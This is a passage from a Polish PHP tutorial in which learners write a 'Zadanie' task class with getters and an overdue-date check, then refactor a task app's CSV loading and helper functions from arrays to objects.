<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';</code></pre>



<p class="wp-block-paragraph">Bez tego: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error: Class "Zadanie" not found</code>.</p>



<h2 class="wp-block-heading">3.9 Typowe błędy</h2>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$obiekt-&gt;$wlasciwosc</code></strong> — dolar po strzałce. PHP szuka wtedy właściwości o nazwie zapisanej w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wlasciwosc</code> (której nie ma) → ostrzeżenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined property</code>.</li>



<li><strong>Brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code> w metodzie</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $xp;</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $this-&gt;xp;</code>. Wewnątrz metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zwykła zmienna lokalna, której nie ma (Eksperyment 2).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code> z jednym podkreślnikiem</strong> — to wtedy zwykła metoda, PHP jej nie wywoła przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>. Obiekt powstaje bez danych, a błąd wychodzi dopiero przy pierwszym odczycie właściwości: <code class="prettyprint lang-sql" style="font-size: 0.85em;">must not be accessed before initialization</code>.</li>



<li><strong>Konstruktor, który nie ustawia wszystkich właściwości</strong> — ten sam błąd co wyżej (Eksperyment 3).</li>



<li><strong>Obiekt traktowany jak tablica</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type ... as array</code>.</li>



<li><strong>Klasa nie dołączona</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "..." not found</code>.</li>



<li><strong>Mylenie klasy z obiektem</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie-&gt;pobierzTytul()</code> nie ma sensu: plan nie ma tytułu, ma go konkretne zadanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code>).</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od tego miejsca kończymy pracę na odznakach. Tworzysz <strong>nowy katalog projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/classes/</code></strong> i w nim <strong>nowy plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></strong>. Sam plik niczego w aplikacji nie zmienia, dopóki żadna strona go nie dołączy — dlatego najpierw przetestujesz klasę z brudnopisu, a do aplikacji podłączysz ją w sekcji 5.</p>



<p class="wp-block-paragraph">Napisz klasę <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, która zastąpi tablicę zadania.</p>



<p class="wp-block-paragraph"><strong>Właściwości</strong> — wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, z typami. Nazwy i typy <strong>takie same jak klucze tablicy</strong> (patrz Lekcja 9 i 11):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Właściwość</th><th>Typ</th><th>Znaczenie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$id</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>numer zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>tytuł (surowy, „brudny” — czyścimy go przy wyświetlaniu, jak dotąd)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>opis</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$termin</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>termin w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wykonane</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td>czy zadanie jest wykonane</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>nagroda XP za zadanie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Konstruktor</strong> — sześć parametrów o tych samych nazwach, <strong>w tej samej kolejności co kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>.</p>



<p class="wp-block-paragraph"><strong>Metody</strong> (wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Co robi</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>numer zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>tytuł</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzOpis()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>opis</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTermin()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>termin</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td>czy zadanie jest wykonane</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>nagroda XP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code></td><td>ustawia zadanie jako wykonane</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Świadomie nie ma</strong> metod typu „ustaw XP”, „ustaw tytuł”, „odznacz zadanie”. Zadanie w TaskQuest można dziś tylko <strong>wykonać</strong> — więc tylko na to obiekt pozwala. Jeśli kiedyś aplikacja będzie potrzebowała edycji, dopiszemy metodę z odpowiednimi regułami.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga na nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code> istnieje <strong>funkcja</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul(int $poziom)</code>, która zwraca tytuł <strong>gracza</strong> („Nowicjusz”&#8230;). Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code> zwraca tytuł <strong>zadania</strong>. PHP ich nie pomyli: metodę zawsze wywołujemy na obiekcie (po strzałce), funkcję — bez obiektu. To kolejny „tytuł” w TaskQuest (obok tytułu gracza <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony</code>) — pilnuj, o który chodzi.</p>
</blockquote>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (brudnopis — zastąp całą zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

$zadanie = new Zadanie(
    id: 1,
    tytul: 'Nauczyć się OOP',
    opis: 'Klasa, obiekt, metoda',
    termin: '2026-10-10',
    wykonane: false,
    xp: 30
);

echo "&lt;p&gt;" . $zadanie-&gt;pobierzId() . ". " . $zadanie-&gt;pobierzTytul() . " — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;";
echo "&lt;p&gt;" . $zadanie-&gt;pobierzOpis() . " (termin: " . $zadanie-&gt;pobierzTermin() . ")&lt;/p&gt;";

var_dump($zadanie-&gt;czyWykonane());
$zadanie-&gt;oznaczJakoWykonane();
var_dump($zadanie-&gt;czyWykonane());</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">1. Nauczyć się OOP — 30 XP</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Klasa, obiekt, metoda (termin: 2026-10-10)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code>. Żadnych ostrzeżeń.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Zbuduj klasę dokładnie według wzoru <code class="prettyprint lang-sql" style="font-size: 0.85em;">Odznaka</code> z punktu 3.5: najpierw sześć właściwości, potem konstruktor, który przepisuje sześć parametrów do sześciu właściwości, potem gettery. <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> przypomina <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code>, tylko jest prostsza — nie ma reguły do sprawdzenia.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Zadanie
{
    private int $id;
    // ... pozostałe pięć właściwości ...

    public function __construct(
        int $id,
        string $tytul,
        // ... pozostałe cztery parametry ...
    ) {
        $this-&gt;id = $id;
        // ...
    }

    public function pobierzId(): int
    {
        return $this-&gt;id;
    }

    // ... pozostałe gettery ...

    public function oznaczJakoWykonane(): void
    {
        // ... zmiana jednej właściwości ...
    }
}
</code></pre>



<p class="wp-block-paragraph">Długą listę parametrów zapisujemy w kilku liniach — nawias <code class="prettyprint lang-sql" style="font-size: 0.85em;">)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">{</code> konstruktora stoją wtedy razem w jednej linii.</p>
</details>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></strong></p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Zadanie
{
    private int $id;
    private string $tytul;
    private string $opis;
    private string $termin;
    private bool $wykonane;
    private int $xp;

    public function __construct(
        int $id,
        string $tytul,
        string $opis,
        string $termin,
        bool $wykonane,
        int $xp
    ) {
        $this-&gt;id = $id;
        $this-&gt;tytul = $tytul;
        $this-&gt;opis = $opis;
        $this-&gt;termin = $termin;
        $this-&gt;wykonane = $wykonane;
        $this-&gt;xp = $xp;
    }

    public function pobierzId(): int
    {
        return $this-&gt;id;
    }

    public function pobierzTytul(): string
    {
        return $this-&gt;tytul;
    }

    public function pobierzOpis(): string
    {
        return $this-&gt;opis;
    }

    public function pobierzTermin(): string
    {
        return $this-&gt;termin;
    }

    public function czyWykonane(): bool
    {
        return $this-&gt;wykonane;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function oznaczJakoWykonane(): void
    {
        $this-&gt;wykonane = true;
    }
}
</code></pre>
</details>



<h2 class="wp-block-heading">4b. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code></h2>



<p class="wp-block-paragraph">Teraz metoda, która daje TaskQuestowi nową umiejętność. Dopisz w klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <strong>pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code></strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie(): bool</code></pre>



<p class="wp-block-paragraph">Zadanie jest <strong>po terminie</strong>, gdy <strong>nie jest wykonane</strong> i jego termin jest <strong>wcześniejszy niż dzisiaj</strong>. Zadanie z terminem na dzisiaj nie jest jeszcze po terminie — użytkownik ma czas do końca dnia. Wykonane zadanie nigdy nie jest po terminie.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zadanie</th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code></th></tr></thead><tbody><tr><td>niewykonane, termin wczoraj</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td>niewykonane, termin dzisiaj</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr><tr><td>niewykonane, termin jutro</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr><tr><td><strong>wykonane</strong>, termin wczoraj</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Wykorzystaj wiedzę z Lekcji 7 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Najpierw obsłuż prosty przypadek: jeśli zadanie jest wykonane — od razu <code class="prettyprint lang-sql" style="font-size: 0.85em;">return false</code>. Potem zrób dwa obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code>: „dzisiaj” i termin zadania. Uwaga: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime()</code> bez argumentu to „teraz” (z godziną), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code> to „dzisiaj o północy” — tak samo jak data z terminu, która też ma godzinę 00:00.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> można porównywać zwykłymi operatorami <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&gt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">==</code> — PHP porównuje wtedy daty i godziny:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pierwsza = new DateTime('2026-09-20');
$druga = new DateTime('2026-09-21');

var_dump($pierwsza &lt; $druga);   // bool(true)
</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function czyPoTerminie(): bool
    {
        if ($this-&gt;wykonane) {
            return false;
        }

        $dzisiaj = new DateTime('today');
        $termin = new DateTime($this-&gt;termin);

        return $termin &lt; $dzisiaj;
    }
</code></pre>



<p class="wp-block-paragraph">Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">'today'</code>, a nie samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime()</code>? Przy terminie na dzisiaj porównywalibyśmy „dziś 00:00” z „dziś 14:37” — i zadanie z dzisiejszym terminem byłoby już „po terminie”. Pełne testy tej metody (z datami liczonymi od dzisiaj, żeby nie zależały od dnia lekcji) — w sekcji 7.</p>
</details>



<h1 class="wp-block-heading">5. Włączamy klasę <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> do TaskQuest — krok po kroku</h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od teraz zmieniamy pliki aplikacji. Plan:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PRZED (Lekcja 14)                          PO (Lekcja 15)
$zadania = &#91;                               $zadania = &#91;
    &#91;'id' =&gt; 1, 'tytul' =&gt; ..., ...],          obiekt Zadanie (id 1),
    &#91;'id' =&gt; 2, 'tytul' =&gt; ..., ...],          obiekt Zadanie (id 2),
    ...                                        ...
];                                         ];

$zadanie&#91;'tytul']                          $zadanie-&gt;pobierzTytul()
$zadanie&#91;'wykonane']                       $zadanie-&gt;czyWykonane()
</code></pre>



<p class="wp-block-paragraph">Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> <strong>się nie zmienia</strong>. Obiekty powstają przy wczytywaniu pliku i zamieniają się z powrotem w wiersze przy zapisie — a pomiędzy nimi cała aplikacja pracuje na obiektach.</p>



<p class="wp-block-paragraph">Pracujemy „od źródła danych”: najpierw miejsce, w którym zadania powstają (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>), a potem po kolei wszystkie miejsca, które z nich korzystają. Między krokami aplikacja będzie się <strong>wysypywać</strong> — i to dobrze: komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array</code> wskaże plik i linię, którą trzeba jeszcze przerobić.</p>



<h2 class="wp-block-heading">Krok 1 — dołącz klasę</h2>



<p class="wp-block-paragraph"><strong>Pliki projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- pliki aplikacji ---</code>, <strong>zaraz pod</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';</code></pre>



<p class="wp-block-paragraph">Klasę dołączamy przed plikami z funkcjami, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code> będzie tworzyć obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. (Ściśle mówiąc, PHP potrzebuje klasy dopiero w chwili wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>, ale kolejność „najpierw klasy, potem funkcje, które z nich korzystają” łatwiej czytać.)</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> nie korzystają z zadań — nic w nich nie zmieniamy.</p>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> tworzy obiekty</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.</strong></p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> znajdź miejsce, w którym z tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz</code> (jednej linii pliku CSV) powstaje zadanie i jest dopisywane do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>. Dziś jest to tablica z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'opis'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'xp'</code>. Zamień ją na obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. <strong>Konwersje typów zostają takie same</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== '1'</code>.</p>



<p class="wp-block-paragraph">Nie zmieniaj niczego innego — sprawdzanie pliku, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>, pomijanie pustych linii, <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> i wyjątki zostają. <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> nadal pilnuje, żeby wiersz był poprawny, <strong>zanim</strong> zrobimy z niego obiekt.</p>



<p class="wp-block-paragraph"><strong>Po zmianie</strong> odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Spodziewany wynik: <strong>błąd</strong>, np.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot use object of type Zadanie as array in ...\includes\funkcje_zadan.php on line ...</code></pre>



<p class="wp-block-paragraph">Tak ma być — <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca już obiekty, a funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code> jeszcze traktują je jak tablice. To następny krok.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">To jedna instrukcja: zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = [ ... ];</code> będzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = new Zadanie( ... );</code>. Użyj argumentów nazwanych — nazwy parametrów konstruktora są takie same jak dotychczasowe klucze.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Było (u Ciebie fragment może być zapisany trochę inaczej — ważne jest miejsce, w którym powstaje tablica zadania):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania&#91;] = &#91;
                'id' =&gt; (int) $wiersz&#91;0],
                'tytul' =&gt; $wiersz&#91;1],
                'opis' =&gt; $wiersz&#91;2],
                'termin' =&gt; $wiersz&#91;3],
                'wykonane' =&gt; $wiersz&#91;4] === '1',
                'xp' =&gt; (int) $wiersz&#91;5]
            ];
</code></pre>



<p class="wp-block-paragraph">Jest:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania&#91;] = new Zadanie(
                id: (int) $wiersz&#91;0],
                tytul: $wiersz&#91;1],
                opis: $wiersz&#91;2],
                termin: $wiersz&#91;3],
                wykonane: $wiersz&#91;4] === '1',
                xp: (int) $wiersz&#91;5]
            );
</code></pre>



<p class="wp-block-paragraph">Zapis prawie się nie zmienił — ale różnica jest duża. Tablica przyjęłaby literówkę w kluczu albo brak klucza. Konstruktor wymaga <strong>wszystkich sześciu</strong> wartości, a nazwy parametrów są sprawdzane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytuł: ...</code> z polską literą skończy się od razu błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Unknown named parameter $tytuł</code>.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: funkcje zadań pytają obiekt</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>.</strong></p>



<p class="wp-block-paragraph">W pięciu funkcjach zamień odwołania do kluczy tablicy na wywołania metod. <strong>Logika każdej funkcji zostaje taka sama.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Funkcja</th><th>Było</th><th>Jest</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzWykonaneZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['wykonane']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['wykonane']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">sumujXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['xp']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzXp()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$a['termin']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b['termin']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$a-&gt;pobierzTermin()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b-&gt;pobierzTermin()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['id']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzId()</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> <strong>zostaje bez zmian</strong> — pracuje na tekstach z formularza, a nie na zadaniu.</p>



<p class="wp-block-paragraph">Po każdej zmianie odświeżaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array</code> przesunie się do kolejnej funkcji, a na końcu — do <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzWykonaneZadania()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code> jest funkcja przekazana do <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code> — to w niej jest odwołanie do klucza. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> — w funkcji porównującej przekazanej do <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code>. Jeśli w warunku było porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== false</code>, możesz je zostawić — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code> zwraca prawdziwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function pobierzWykonaneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return $zadanie-&gt;czyWykonane();
    });
}


function pobierzAktywneZadania(array $zadania): array
{
    return array_filter($zadania, function ($zadanie) {
        return !$zadanie-&gt;czyWykonane();
    });
}


function sumujXp(array $zadania): int
{
    $suma = 0;

    foreach ($zadania as $zadanie) {
        $suma += $zadanie-&gt;pobierzXp();
    }

    return $suma;
}


function sortujPoTerminie(array $zadania): array
{
    usort($zadania, function ($a, $b) {
        return $a-&gt;pobierzTermin() &lt;=&gt; $b-&gt;pobierzTermin();
    });

    return $zadania;
}


function nastepneIdZadania(array $zadania): int
{
    $najwiekszeId = 0;

    foreach ($zadania as $zadanie) {
        if ($zadanie-&gt;pobierzId() &gt; $najwiekszeId) {
            $najwiekszeId = $zadanie-&gt;pobierzId();
        }
    }

    return $najwiekszeId + 1;
}

